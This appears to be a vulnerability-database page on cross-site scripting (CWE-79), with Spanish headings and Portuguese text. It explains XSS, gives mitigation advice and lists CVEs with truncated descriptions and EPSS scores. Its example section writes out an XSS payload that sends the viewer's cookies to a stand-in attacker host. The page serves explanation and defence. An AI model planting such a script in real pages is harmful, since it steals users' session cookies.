Fallos del tipo CWE-79

30.662 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-22888—Revive Adserver before v5.2.0 is vulnerable to a reflected XSS vulnerability in the `status` parameter of campaign-zone-zones.php. An attackEPSS 16.3%CVE-2021-24276—Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS)EPSS 16.0%CVE-2025-2703MEDIUMThe built-in XY Chart plugin is vulnerable to a DOM XSS vulnerability. A user with Editor permissions is able to modify such a panel in orEPSS 16.0%CVE-2010-3243MEDIUMCross-site scripting (XSS) vulnerability in the toStaticHTML function in Microsoft Internet Explorer 8, and the SafeHTML function in MicrosoEPSS 15.7%CVE-2024-47002HIGHA html code injection vulnerability exists in the vlan management part of Observium CE 24.4.13528. A specially crafted HTTP request can leadEPSS 15.6%CVE-2025-30292MEDIUMColdFusion | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 15.5%CVE-2023-0507HIGHGrafana is an open-source platform for monitoring and observability. Starting with the 8.1 branch, Grafana had a stored XSS vulnerability EPSS 15.5%CVE-2022-0437MEDIUMCross-site Scripting (XSS) - DOM in karma-runner/karmaEPSS 15.1%CVE-2025-43860HIGHOpemEMR Vulnerable to Stored XSS Attack in the Additional Address Section of Patient DemographicsEPSS 15.0%CVE-2024-45741MEDIUMPersistent Cross-Site Scripting (XSS) via props.conf on Splunk EnterpriseEPSS 14.8%CVE-2025-50538HIGHFlowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.EPSS 14.7%CVE-2022-35698CRITICALAdobe Commerce Stored XSS Arbitrary code executionEPSS 14.7%CVE-2024-31444MEDIUMCacti XSS vulnerability in lib/html.php by reading dirty data stored in databaseEPSS 14.7%CVE-2021-24291—Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)EPSS 14.5%CVE-2021-21800CRITICALCross-site scripting vulnerabilities exist in the ssh_form.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). If a user vEPSS 14.1%CVE-2011-1252MEDIUMCross-site scripting (XSS) vulnerability in the SafeHTML function in the toStaticHTML API in Microsoft Internet Explorer 7 and 8, Office ShaEPSS 14.0%CVE-2019-3810MEDIUMA flaw was found in moodle versions 3.6 to 3.6.1, 3.5 to 3.5.3, 3.4 to 3.4.6, 3.1 to 3.1.15 and earlier unsupported versions. The /userpix/ EPSS 13.8%CVE-2024-5410HIGHStored Cross-Site ScriptingEPSS 13.7%CVE-2022-0595—Drag and Drop Multiple File Upload - Contact Form 7 < 1.3.6.3 - Unauthenticated Stored XSSEPSS 13.5%CVE-2007-4040HIGHArgument injection vulnerability involving Microsoft Outlook and Outlook Express, when certain URIs are registered, allows remote attackers EPSS 13.5%